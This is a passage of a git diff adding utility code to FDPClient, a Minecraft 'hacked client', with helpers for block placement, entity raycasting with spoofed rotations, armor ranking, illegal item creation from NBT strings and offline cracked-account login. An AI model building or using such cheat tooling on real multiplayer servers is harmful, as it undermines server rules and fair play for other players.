PlaceInfo(pos7.add(-1, 0, 0), EnumFacing.EAST) + } + if (BlockUtils.canBeClicked(pos7.add(1, 0, 0))) { + return PlaceInfo(pos7.add(1, 0, 0), EnumFacing.WEST) + } + if (BlockUtils.canBeClicked(pos7.add(0, 0, 1))) { + return PlaceInfo(pos7.add(0, 0, 1), EnumFacing.NORTH) + } + if (BlockUtils.canBeClicked(pos7.add(0, 0, -1))) { + return PlaceInfo(pos7.add(0, 0, -1), EnumFacing.SOUTH) + } + val pos8 = pos6.add(-1, 0, 0) + if (BlockUtils.canBeClicked(pos8.add(0, -1, 0))) { + return PlaceInfo(pos8.add(0, -1, 0), EnumFacing.UP) + } + if (BlockUtils.canBeClicked(pos8.add(-1, 0, 0))) { + return PlaceInfo(pos8.add(-1, 0, 0), EnumFacing.EAST) + } + if (BlockUtils.canBeClicked(pos8.add(1, 0, 0))) { + return PlaceInfo(pos8.add(1, 0, 0), EnumFacing.WEST) + } + if (BlockUtils.canBeClicked(pos8.add(0, 0, 1))) { + return PlaceInfo(pos8.add(0, 0, 1), EnumFacing.NORTH) + } + if (BlockUtils.canBeClicked(pos8.add(0, 0, -1))) { + return PlaceInfo(pos8.add(0, 0, -1), EnumFacing.SOUTH) + } + val pos9 = pos6.add(0, 0, 1) + if (BlockUtils.canBeClicked(pos9.add(0, -1, 0))) { + return PlaceInfo(pos9.add(0, -1, 0), EnumFacing.UP) + } + if (BlockUtils.canBeClicked(pos9.add(-1, 0, 0))) { + return PlaceInfo(pos9.add(-1, 0, 0), EnumFacing.EAST) + } + if (BlockUtils.canBeClicked(pos9.add(1, 0, 0))) { + return PlaceInfo(pos9.add(1, 0, 0), EnumFacing.WEST) + } + if (BlockUtils.canBeClicked(pos9.add(0, 0, 1))) { + return PlaceInfo(pos9.add(0, 0, 1), EnumFacing.NORTH) + } + if (BlockUtils.canBeClicked(pos9.add(0, 0, -1))) { + return PlaceInfo(pos9.add(0, 0, -1), EnumFacing.SOUTH) + } + val pos10 = pos6.add(0, 0, -1) + if (BlockUtils.canBeClicked(pos10.add(0, -1, 0))) { + return PlaceInfo(pos10.add(0, -1, 0), EnumFacing.UP) + } + if (BlockUtils.canBeClicked(pos10.add(-1, 0, 0))) { + return PlaceInfo(pos10.add(-1, 0, 0), EnumFacing.EAST) + } + if (BlockUtils.canBeClicked(pos10.add(1, 0, 0))) { + return PlaceInfo(pos10.add(1, 0, 0), EnumFacing.WEST) + } + if (BlockUtils.canBeClicked(pos10.add(0, 0, 1))) { + return PlaceInfo(pos10.add(0, 0, 1), EnumFacing.NORTH) + } + return if (BlockUtils.canBeClicked(pos10.add(0, 0, -1))) { + PlaceInfo(pos10.add(0, 0, -1), EnumFacing.SOUTH) + } else null + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/extensions/BlockExtension.kt b/src/main/java/net/ccbluex/liquidbounce/utils/extensions/BlockExtension.kt new file mode 100644 index 0000000..f1f31b3 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/extensions/BlockExtension.kt @@ -0,0 +1,82 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils.extensions + +import net.ccbluex.liquidbounce.utils.ClientUtils.mc +import net.ccbluex.liquidbounce.utils.block.BlockUtils +import net.minecraft.block.Block +import net.minecraft.util.AxisAlignedBB +import net.minecraft.util.BlockPos +import net.minecraft.util.MathHelper +import net.minecraft.util.Vec3 + +/** + * Get block by position + */ +fun BlockPos.getBlock() = BlockUtils.getBlock(this) + +/** + * Get vector of block position + */ +fun BlockPos.getVec() = Vec3(x + 0.5, y + 0.5, z + 0.5) + +fun BlockPos.getMaterial() = getBlock()?.material + +fun BlockPos.isFullBlock() = getBlock()?.isFullBlock + +fun BlockPos.isReplaceable() = getMaterial()?.isReplaceable ?: false + +fun BlockPos.getCenterDistance() = mc.thePlayer.getDistance(x + 0.5, y + 0.5, z + 0.5) + +/** + * Creates an [AxisAlignedBB] cube with values 1, 1, 1 + * + * @param x X position + * @param y Y position + * @param z Z position + */ +fun AxisAlignedBB(x: Int, y: Int, z: Int): AxisAlignedBB { + return AxisAlignedBB(x.toDouble(), y.toDouble(), z.toDouble(), x + 1.0, y + 1.0, z + 1.0) +} + +fun AxisAlignedBB.down(height: Double): AxisAlignedBB { + return AxisAlignedBB(minX, minY, minZ, maxX, maxY - height, maxZ) +} + +/** + * Returns blocks that are in that radius + * + * @param radius Radius + */ +fun searchBlocks(radius: Int): Map<BlockPos, Block> { + val blocks = mutableMapOf<BlockPos, Block>() + + for (x in radius downTo -radius + 1) + for (y in radius downTo -radius + 1) + for (z in radius downTo -radius + 1) { + val blockPos = BlockPos(mc.thePlayer.posX.toInt() + x, mc.thePlayer.posY.toInt() + y, mc.thePlayer.posZ.toInt() + z) + val block = blockPos.getBlock() ?: continue + + blocks[blockPos] = block + } + + return blocks +} + +fun getBlockName(id: Int): String = Block.getBlockById(id).localizedName + +inline fun collideBlock(aabb: AxisAlignedBB, predicate: (Block?) -> Boolean): Boolean { + for (x in MathHelper.floor_double(aabb.minX) until MathHelper.floor_double(aabb.maxX) + 1) { + for (z in MathHelper.floor_double(aabb.minZ) until MathHelper.floor_double(aabb.maxZ) + 1) { + val block = BlockPos(x.toDouble(), aabb.minY, z.toDouble()).getBlock() + + if (!predicate(block)) return false + } + } + + return true +} + diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/extensions/ColorExtension.kt b/src/main/java/net/ccbluex/liquidbounce/utils/extensions/ColorExtension.kt new file mode 100644 index 0000000..4461e38 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/extensions/ColorExtension.kt @@ -0,0 +1,10 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils.extensions + +import java.awt.Color + +fun Color.darker(factor: Float) = Color(this.red / 255F * factor.coerceIn(0F, 1F), this.green / 255F * factor.coerceIn(0F, 1F), this.blue / 255F * factor.coerceIn(0F, 1F), this.alpha / 255F) diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/extensions/EntityExtension.kt b/src/main/java/net/ccbluex/liquidbounce/utils/extensions/EntityExtension.kt new file mode 100644 index 0000000..7518652 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/extensions/EntityExtension.kt @@ -0,0 +1,147 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils.extensions + +import net.ccbluex.liquidbounce.utils.ClientUtils.mc +import net.ccbluex.liquidbounce.utils.Rotation +import net.ccbluex.liquidbounce.utils.RotationUtils +import net.ccbluex.liquidbounce.utils.render.GLUtils +import net.minecraft.client.Minecraft +import net.minecraft.client.resources.DefaultPlayerSkin +import net.minecraft.entity.Entity +import net.minecraft.entity.EntityLivingBase +import net.minecraft.entity.boss.EntityDragon +import net.minecraft.entity.monster.EntityGhast +import net.minecraft.entity.monster.EntityGolem +import net.minecraft.entity.monster.EntityMob +import net.minecraft.entity.monster.EntitySlime +import net.minecraft.entity.passive.EntityAnimal +import net.minecraft.entity.passive.EntityBat +import net.minecraft.entity.passive.EntitySquid +import net.minecraft.entity.passive.EntityVillager +import net.minecraft.entity.player.EntityPlayer +import net.minecraft.util.AxisAlignedBB +import net.minecraft.util.MovingObjectPosition +import net.minecraft.util.ResourceLocation +import net.minecraft.util.Vec3 +import net.minecraft.world.World +import net.minecraft.world.chunk.Chunk +import javax.vecmath.Vector3d +import kotlin.math.* + +/** + * Allows to get the distance between the current entity and [entity] from the nearest corner of the bounding box + */ + +fun Entity.getDistanceToEntityBox(entity: Entity) = eyes.distanceTo(getNearestPointBB(eyes, entity.hitBox)) + +fun getNearestPointBB(eye: Vec3, box: AxisAlignedBB): Vec3 { + val origin = doubleArrayOf(eye.xCoord, eye.yCoord, eye.zCoord) + val destMins = doubleArrayOf(box.minX, box.minY, box.minZ) + val destMaxs = doubleArrayOf(box.maxX, box.maxY, box.maxZ) + for (i in 0..2) { + if (origin[i] > destMaxs[i]) origin[i] = destMaxs[i] else if (origin[i] < destMins[i]) origin[i] = destMins[i] + } + return Vec3(origin[0], origin[1], origin[2]) +} +fun Vec3.distanceTo(bb: AxisAlignedBB): Double { + val pos = getNearestPointBB(this, bb) + val xDist = abs(pos.xCoord - this.xCoord) + val yDist = abs(pos.yCoord - this.yCoord) + val zDist = abs(pos.zCoord - this.zCoord) + return sqrt(xDist.pow(2) + yDist.pow(2) + zDist.pow(2)) +} + + +fun Entity.rayTraceWithCustomRotation(blockReachDistance: Double, yaw: Float, pitch: Float): MovingObjectPosition? { + val vec3 = this.getPositionEyes(1f) + val vec31 = this.getVectorForRotation(pitch, yaw) + val vec32 = vec3.addVector(vec31.xCoord * blockReachDistance, vec31.yCoord * blockReachDistance, vec31.zCoord * blockReachDistance) + return this.worldObj.rayTraceBlocks(vec3, vec32, false, false, true) +} + +fun Entity.rayTraceWithCustomRotation(blockReachDistance: Double, rotation: Rotation): MovingObjectPosition? { + return this.rayTraceWithCustomRotation(blockReachDistance, rotation.yaw, rotation.pitch) +} + +fun Entity.rayTraceWithServerSideRotation(blockReachDistance: Double): MovingObjectPosition? { + return this.rayTraceWithCustomRotation(blockReachDistance, RotationUtils.serverRotation!!) +} + +fun EntityPlayer.getEyeVec3(): Vec3 { + return Vec3(this.posX, this.entityBoundingBox.minY + this.getEyeHeight(), this.posZ) +} + +val EntityLivingBase.renderHurtTime: Float + get() = this.hurtTime - if (this.hurtTime != 0) { Minecraft.getMinecraft().timer.renderPartialTicks } else { 0f } + +val EntityLivingBase.hurtPercent: Float + get() = (this.renderHurtTime) / 10 + +val EntityLivingBase.skin: ResourceLocation // TODO: add special skin for mobs + get() = if (this is EntityPlayer) { Minecraft.getMinecraft().netHandler.getPlayerInfo(this.uniqueID)?.locationSkin } else { null } ?: DefaultPlayerSkin.getDefaultSkinLegacy() + +val EntityLivingBase.ping: Int + get() = if (this is EntityPlayer) { Minecraft.getMinecraft().netHandler.getPlayerInfo(this.uniqueID)?.responseTime?.coerceAtLeast(0) } else { null } ?: -1 + +/** + * Render entity position + */ +val Entity.renderPos: Vector3d + get() { + val x = GLUtils.interpolate(lastTickPosX, posX) - mc.renderManager.viewerPosX + val y = GLUtils.interpolate(lastTickPosY, posY) - mc.renderManager.viewerPosY + val z = GLUtils.interpolate(lastTickPosZ, posZ) - mc.renderManager.viewerPosZ + + return Vector3d(x, y, z) + } + +val Entity.renderBoundingBox: AxisAlignedBB + get() { + return this.entityBoundingBox + .offset(-this.posX, -this.posY, -this.posZ) + .offset(this.renderPos.x, this.renderPos.y, this.renderPos.z) + } + +fun Entity.isAnimal() = + this is EntityAnimal + || this is EntitySquid + || this is EntityGolem + || this is EntityBat + +fun Entity.isMob() = + this is EntityMob + || this is EntityVillager + || this is EntitySlime + || this is EntityGhast + || this is EntityDragon + +val Entity.hitBox: AxisAlignedBB + get() { + val borderSize = collisionBorderSize.toDouble() + return entityBoundingBox.expand(borderSize, borderSize, borderSize) + } + +val Entity.eyes: Vec3 + get() = getPositionEyes(1f) + +fun World.getEntitiesInRadius(entity: Entity, radius: Double = 16.0): List<Entity> { + val box = entity.entityBoundingBox.expand(radius, radius, radius) + val chunkMinX = floor(box.minX * 0.0625).toInt() + val chunkMaxX = ceil(box.maxX * 0.0625).toInt() + val chunkMinZ = floor(box.minZ * 0.0625).toInt() + val chunkMaxZ = ceil(box.maxZ * 0.0625).toInt() + + val entities = mutableListOf<Entity>() + (chunkMinX..chunkMaxX).forEach { x -> + (chunkMinZ..chunkMaxZ) + .asSequence() + .map { z -> getChunkFromChunkCoords(x, z) } + .filter(Chunk::isLoaded) + .forEach { it.getEntitiesWithinAABBForEntity(entity, box, entities, null) } + } + return entities +} diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/extensions/JsonExtension.kt b/src/main/java/net/ccbluex/liquidbounce/utils/extensions/JsonExtension.kt new file mode 100644 index 0000000..5431f8a --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/extensions/JsonExtension.kt @@ -0,0 +1,24 @@ +package net.ccbluex.liquidbounce.utils.extensions + +import com.google.gson.JsonElement +import com.google.gson.JsonObject + +operator fun JsonObject.set(s: String, value: String) { + this.addProperty(s, value) +} + +operator fun JsonObject.set(s: String, value: Number) { + this.addProperty(s, value) +} + +operator fun JsonObject.set(s: String, value: Char) { + this.addProperty(s, value) +} + +operator fun JsonObject.set(s: String, value: Boolean) { + this.addProperty(s, value) +} + +operator fun JsonObject.set(s: String, value: JsonElement) { + this.add(s, value) +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/extensions/NetworkExtension.kt b/src/main/java/net/ccbluex/liquidbounce/utils/extensions/NetworkExtension.kt new file mode 100644 index 0000000..ac33ff1 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/extensions/NetworkExtension.kt @@ -0,0 +1,13 @@ +package net.ccbluex.liquidbounce.utils.extensions + +import net.minecraft.client.network.NetworkPlayerInfo + +fun NetworkPlayerInfo.getFullName(): String { + if (displayName != null) { + return displayName!!.formattedText + } + + val team = playerTeam + val name = gameProfile.name + return team?.formatString(name) ?: name +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/extensions/RendererExtension.kt b/src/main/java/net/ccbluex/liquidbounce/utils/extensions/RendererExtension.kt new file mode 100644 index 0000000..0c43627 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/extensions/RendererExtension.kt @@ -0,0 +1,8 @@ +package net.ccbluex.liquidbounce.utils.extensions + +import net.minecraft.client.gui.FontRenderer + +fun FontRenderer.drawCenteredString(s: String, x: Float, y: Float, color: Int, shadow: Boolean) = drawString(s, x - getStringWidth(s) / 2F, y, color, shadow) + +fun FontRenderer.drawCenteredString(s: String, x: Float, y: Float, color: Int) = + drawString(s, x - getStringWidth(s) / 2F, y, color, false) \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/item/ArmorPiece.kt b/src/main/java/net/ccbluex/liquidbounce/utils/item/ArmorPiece.kt new file mode 100644 index 0000000..8c26396 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/item/ArmorPiece.kt @@ -0,0 +1,13 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils.item + +import net.minecraft.item.ItemArmor +import net.minecraft.item.ItemStack + +class ArmorPiece(val itemStack: ItemStack, val slot: Int) { + val armorType = (itemStack.item as ItemArmor).armorType +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/item/ItemUtils.kt b/src/main/java/net/ccbluex/liquidbounce/utils/item/ItemUtils.kt new file mode 100644 index 0000000..caabec6 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/item/ItemUtils.kt @@ -0,0 +1,150 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils.item + +import net.ccbluex.liquidbounce.utils.RegexUtils +import net.minecraft.enchantment.Enchantment +import net.minecraft.item.ItemArmor +import net.minecraft.item.ItemStack + +/** + * @author MCModding4K + */ +object ItemUtils { + fun getEnchantment(itemStack: ItemStack, enchantment: Enchantment): Int { + if (itemStack.enchantmentTagList == null || itemStack.enchantmentTagList.hasNoTags()) return 0 + for (i in 0 until itemStack.enchantmentTagList.tagCount()) { + val tagCompound = itemStack.enchantmentTagList.getCompoundTagAt(i) + if (tagCompound.hasKey("ench") && tagCompound.getShort("ench").toInt() == enchantment.effectId || + tagCompound.hasKey("id") && tagCompound.getShort("id").toInt() == enchantment.effectId) { + return tagCompound.getShort("lvl").toInt() + } + } + return 0 + } + + fun getEnchantmentCount(itemStack: ItemStack): Int { + if (itemStack.enchantmentTagList == null || itemStack.enchantmentTagList.hasNoTags()) return 0 + var c = 0 + for (i in 0 until itemStack.enchantmentTagList.tagCount()) { + val tagCompound = itemStack.enchantmentTagList.getCompoundTagAt(i) + if (tagCompound.hasKey("ench") || tagCompound.hasKey("id")) { + c++ + } + } + return c + } + + @JvmStatic + fun getItemDurability(stack: ItemStack?): Int { + return if (stack == null) 0 else stack.maxDamage - stack.itemDamage + } + + fun getWeaponEnchantFactor( + stack: ItemStack, + nbtedPriority: Float = 0f, + goal: EnumNBTPriorityType = EnumNBTPriorityType.NONE + ): Double { + return (1.25 * getEnchantment(stack, Enchantment.sharpness)) + + (1.0 * getEnchantment(stack, Enchantment.fireAspect)) + + if (hasNBTGoal(stack, goal)) { nbtedPriority } else { 0f } + } + + private val armorDamageReduceEnchantments = arrayOf(Enchant(Enchantment.protection, 0.06f), Enchant(Enchantment.projectileProtection, 0.032f), Enchant(Enchantment.fireProtection, 0.0585f), Enchant(Enchantment.blastProtection, 0.0304f)) + private val otherArmorEnchantments = arrayOf(Enchant(Enchantment.featherFalling, 3.0f), Enchant(Enchantment.thorns, 1.0f), Enchant(Enchantment.respiration, 0.1f), Enchant(Enchantment.aquaAffinity, 0.05f), Enchant(Enchantment.unbreaking, 0.01f)) + + fun compareArmor( + o1: ArmorPiece, + o2: ArmorPiece, + nbtedPriority: Float = 0f, + goal: EnumNBTPriorityType = EnumNBTPriorityType.NONE + ): Int { + // For damage reduction it is better if it is smaller, so it has to be inverted + // The decimal values have to be rounded since in double math equals is inaccurate + // For example 1.03 - 0.41 = 0.6200000000000001 and (1.03 - 0.41) == 0.62 would be false + val compare = RegexUtils.round(getArmorThresholdedDamageReduction(o2.itemStack).toDouble() - if (hasNBTGoal(o2.itemStack, goal)) { nbtedPriority / 5f } else { 0f }, 3) + .compareTo(RegexUtils.round(getArmorThresholdedDamageReduction(o1.itemStack).toDouble() - if (hasNBTGoal(o1.itemStack, goal)) { nbtedPriority / 5f } else { 0f }, 3)) + + // If both armor pieces have the exact same damage, compare enchantments + if (compare == 0) { + val otherEnchantmentCmp = RegexUtils.round(getArmorEnchantmentThreshold(o1.itemStack).toDouble(), 3) + .compareTo(RegexUtils.round(getArmorEnchantmentThreshold(o2.itemStack).toDouble(), 3)) + + // If both have the same enchantment threshold, prefer the item with more enchantments + if (otherEnchantmentCmp == 0) { + val enchantmentCountCmp = getEnchantmentCount(o1.itemStack).compareTo(getEnchantmentCount(o2.itemStack)) + if (enchantmentCountCmp != 0) { + return enchantmentCountCmp + } + + // Then durability... + val o1a = o1.itemStack.item as ItemArmor + val o2a = o2.itemStack.item as ItemArmor + val durabilityCmp = o1a.armorMaterial.getDurability(o1a.armorType).compareTo(o2a.armorMaterial.getDurability(o2a.armorType)) + + return if (durabilityCmp != 0) { + durabilityCmp + } else { + // last compare: enchantability... + o1a.armorMaterial.enchantability.compareTo(o2a.armorMaterial.enchantability) + } + } + return otherEnchantmentCmp + } + return compare + } + + private fun getArmorThresholdedDamageReduction(itemStack: ItemStack): Float { + val item = itemStack.item as ItemArmor + return getArmorDamageReduction(item.armorMaterial.getDamageReductionAmount(item.armorType), 0) * (1 - getArmorThresholdedEnchantmentDamageReduction(itemStack)) + } + + private fun getArmorDamageReduction(defensePoints: Int, toughness: Int): Float { + return 1 - 20.0f.coerceAtMost((defensePoints / 5.0f).coerceAtLeast(defensePoints - 1 / (2 + toughness / 4.0f))) / 25.0f + } + + private fun getArmorThresholdedEnchantmentDamageReduction(itemStack: ItemStack): Float { + var sum = 0.0f + for (i in armorDamageReduceEnchantments.indices) { + sum += getEnchantment(itemStack, armorDamageReduceEnchantments[i].enchantment) * armorDamageReduceEnchantments[i].factor + } + return sum + } + + private fun getArmorEnchantmentThreshold(itemStack: ItemStack): Float { + var sum = 0.0f + for (i in otherArmorEnchantments.indices) { + sum += getEnchantment(itemStack, otherArmorEnchantments[i].enchantment) * otherArmorEnchantments[i].factor + } + return sum + } + + class Enchant(val enchantment: Enchantment, val factor: Float) + + fun hasNBTGoal(stack: ItemStack, goal: EnumNBTPriorityType): Boolean { + + if (stack.hasTagCompound() && stack.tagCompound.hasKey("display", 10)) { + val display = stack.tagCompound.getCompoundTag("display") + + if (goal == EnumNBTPriorityType.HAS_DISPLAY_TAG) { + return true + } else if (goal == EnumNBTPriorityType.HAS_NAME) { + return display.hasKey("Name") + } else if (goal == EnumNBTPriorityType.HAS_LORE) { + return display.hasKey("Lore") && display.getTagList("Lore", 8).tagCount()> 0 + } + } + + return false + } + + enum class EnumNBTPriorityType { + HAS_NAME, + HAS_LORE, + HAS_DISPLAY_TAG, + NONE // for default + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/item/ilegalItems.java b/src/main/java/net/ccbluex/liquidbounce/utils/item/ilegalItems.java new file mode 100644 index 0000000..c4ba42e --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/item/ilegalItems.java @@ -0,0 +1,62 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils.item; + +import net.ccbluex.liquidbounce.utils.MinecraftInstance; +import net.minecraft.enchantment.Enchantment; +import net.minecraft.item.Item; +import net.minecraft.item.ItemStack; +import net.minecraft.nbt.JsonToNBT; +import net.minecraft.nbt.NBTTagCompound; +import net.minecraft.util.ResourceLocation; + +import java.util.Objects; +import java.util.regex.Pattern; + +public final class ilegalItems extends MinecraftInstance { + + public static ItemStack createItem(String itemArguments) { + try { + itemArguments = itemArguments.replace('&', '§'); + Item item = new Item(); + String[] args = null; + int i = 1; + int j = 0; + + for (int mode = 0; mode <= Math.min(12, itemArguments.length() - 2); ++mode) { + args = itemArguments.substring(mode).split(Pattern.quote(" ")); + ResourceLocation resourcelocation = new ResourceLocation(args[0]); + item = Item.itemRegistry.getObject(resourcelocation); + + if (item != null) + break; + } + + if (item == null) + return null; + + if (Objects.requireNonNull(args).length >= 2 && args[1].matches("\\d+")) + i = Integer.parseInt(args[1]); + if (args.length >= 3 && args[2].matches("\\d+")) + j = Integer.parseInt(args[2]); + + ItemStack itemstack = new ItemStack(item, i, j); + + if (args.length >= 4) { + StringBuilder NBT = new StringBuilder(); + for (int nbtcount = 3; nbtcount < args.length; ++nbtcount) + NBT.append(" ").append(args[nbtcount]); + itemstack.setTagCompound(JsonToNBT.getTagFromJson(NBT.toString())); + } + + return itemstack; + } catch (Exception exception) { + exception.printStackTrace(); + return null; + } + } + +} diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/login/LoginUtils.kt b/src/main/java/net/ccbluex/liquidbounce/utils/login/LoginUtils.kt new file mode 100644 index 0000000..3746157 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/login/LoginUtils.kt @@ -0,0 +1,37 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils.login + +import me.liuli.elixir.account.CrackedAccount +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.SessionEvent +import net.ccbluex.liquidbounce.ui.client.altmanager.GuiAltManager +import net.ccbluex.liquidbounce.utils.MinecraftInstance +import net.ccbluex.liquidbounce.utils.misc.RandomUtils +import net.minecraft.util.Session + +object LoginUtils : MinecraftInstance() { + fun loginCracked(username: String) { + mc.session = CrackedAccount().also { it.name = username }.session.let { Session(it.username, it.uuid, it.token, it.type) } + FDPClient.eventManager.callEvent(SessionEvent()) + } + + fun randomCracked() { + var name = GuiAltManager.randomAltField.text + + while (name.contains("%n") || name.contains("%s")) { + if (name.contains("%n")) { + name = name.replaceFirst("%n", RandomUtils.nextInt(0, 9).toString()) + } + + if (name.contains("%s")) { + name = name.replaceFirst("%s", RandomUtils.randomString(1)) + } + } + + loginCracked(name) + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/misc/Animation.java b/src/main/java/net/ccbluex/liquidbounce/utils/misc/Animation.java new file mode 100644 index 0000000..b1f63bc --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/misc/Animation.java @@ -0,0 +1,97 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils.misc; + +import net.ccbluex.liquidbounce.utils.timer.TimerUtils; + +public abstract class Animation { + public TimerUtils timerUtil; + protected int duration; + protected double endPoint; + protected Direction direction; + + public Animation(final int ms, final double endPoint) { + this.timerUtil = new TimerUtils(); + this.duration = ms; + this.endPoint = endPoint; + this.direction = Direction.FORWARDS; + } + + public Animation(final int ms, final double endPoint, final Direction direction) { + this.timerUtil = new TimerUtils(); + this.duration = ms; + this.endPoint = endPoint; + this.direction = direction; + } + + public boolean finished(final Direction direction) { + return this.isDone() && this.direction.equals(direction); + } + + public double getLinearOutput() { + return 1.0 - this.timerUtil.getTime() / (double)this.duration * this.endPoint; + } + + public double getEndPoint() { + return this.endPoint; + } + + public void setEndPoint(final double endPoint) { + this.endPoint = endPoint; + } + + public void reset() { + this.timerUtil.reset(); + } + + public boolean isDone() { + return this.timerUtil.hasTimeElapsed(this.duration); + } + + public void changeDirection() { + this.setDirection(this.direction.opposite()); + } + + public Direction getDirection() { + return this.direction; + } + + public void setDirection(final Direction direction) { + if (this.direction != direction) { + this.direction = direction; + this.timerUtil.setTime(System.currentTimeMillis() - (this.duration - Math.min(this.duration, this.timerUtil.getTime()))); + } + } + + public void setDuration(final int duration) { + this.duration = duration; + } + + protected boolean correctOutput() { + return false; + } + + public double getOutput() { + if (this.direction == Direction.FORWARDS) { + if (this.isDone()) { + return this.endPoint; + } + return this.getEquation((double)this.timerUtil.getTime()) * this.endPoint; + } + else { + if (this.isDone()) { + return 0.0; + } + if (this.correctOutput()) { + final double revTime = (double)Math.min(this.duration, Math.max(0L, this.duration - this.timerUtil.getTime())); + return this.getEquation(revTime) * this.endPoint; + } + return (1.0 - this.getEquation((double)this.timerUtil.getTime())) * this.endPoint; + } + } + + protected abstract double getEquation(final double p0); +} diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/misc/Direction.java b/src/main/java/net/ccbluex/liquidbounce/utils/misc/Direction.java new file mode 100644 index 0000000..9d1a431 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/misc/Direction.java @@ -0,0 +1,18 @@ +// +// Decompiled by Procyon v0.5.36 +// + +package net.ccbluex.liquidbounce.utils.misc; + +public enum Direction +{ + FORWARDS, + BACKWARDS; + + public Direction opposite() { + if (this == Direction.FORWARDS) { + return Direction.BACKWARDS; + } + return Direction.FORWARDS; + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/misc/EaseInOutQuad.java b/src/main/java/net/ccbluex/liquidbounce/utils/misc/EaseInOutQuad.java new file mode 100644 index 0000000..67082f6 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/misc/EaseInOutQuad.java @@ -0,0 +1,24 @@ +// +// Decompiled by Procyon v0.5.36 +// + +package net.ccbluex.liquidbounce.utils.misc; + +import net.ccbluex.liquidbounce.utils.misc.Animation; + +public class EaseInOutQuad extends Animation +{ + public EaseInOutQuad(final int ms, final double endPoint) { + super(ms, endPoint); + } + + public EaseInOutQuad(final int ms, final double endPoint, final Direction direction) { + super(ms, endPoint, direction); + } + + @Override + protected double getEquation(final double x1) { + final double x2 = x1 / this.duration; + return (x2 < 0.5) ? (2.0 * Math.pow(x2, 2.0)) : (1.0 - Math.pow(-2.0 * x2 + 2.0, 2.0) / 2.0); + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/misc/FallingPlayer.kt b/src/main/java/net/ccbluex/liquidbounce/utils/misc/FallingPlayer.kt new file mode 100644 index 0000000..abbbc70 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/misc/FallingPlayer.kt @@ -0,0 +1,93 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils.misc + +import net.ccbluex.liquidbounce.utils.MinecraftInstance +import net.minecraft.entity.player.EntityPlayer +import net.minecraft.util.* + +class FallingPlayer( + private var x: Double, + private var y: Double, + private var z: Double, + private var motionX: Double, + private var motionY: Double, + private var motionZ: Double, + private val yaw: Float, + private var strafe: Float, + private var forward: Float, + private val jumpMovementFactor: Float +) : MinecraftInstance() { + constructor(player: EntityPlayer) : this( + player.posX, + player.posY, + player.posZ, + player.motionX, + player.motionY, + player.motionZ, + player.rotationYaw, + player.moveStrafing, + player.moveForward, + player.jumpMovementFactor + ) + + private fun calculateForTick() { + var sr = strafe * 0.9800000190734863f + var fw = forward * 0.9800000190734863f + var v = sr * sr + fw * fw + if (v >= 0.0001f) { + v = MathHelper.sqrt_float(v) + if (v < 1.0f) { + v = 1.0f + } + var fixedJumpFactor = (jumpMovementFactor) + if (mc.thePlayer.isSprinting) { + fixedJumpFactor = (fixedJumpFactor * 1.3).toFloat() + } + v = fixedJumpFactor / v + sr *= v + fw *= v + val f1 = MathHelper.sin(yaw * Math.PI.toFloat() / 180.0f) + val f2 = 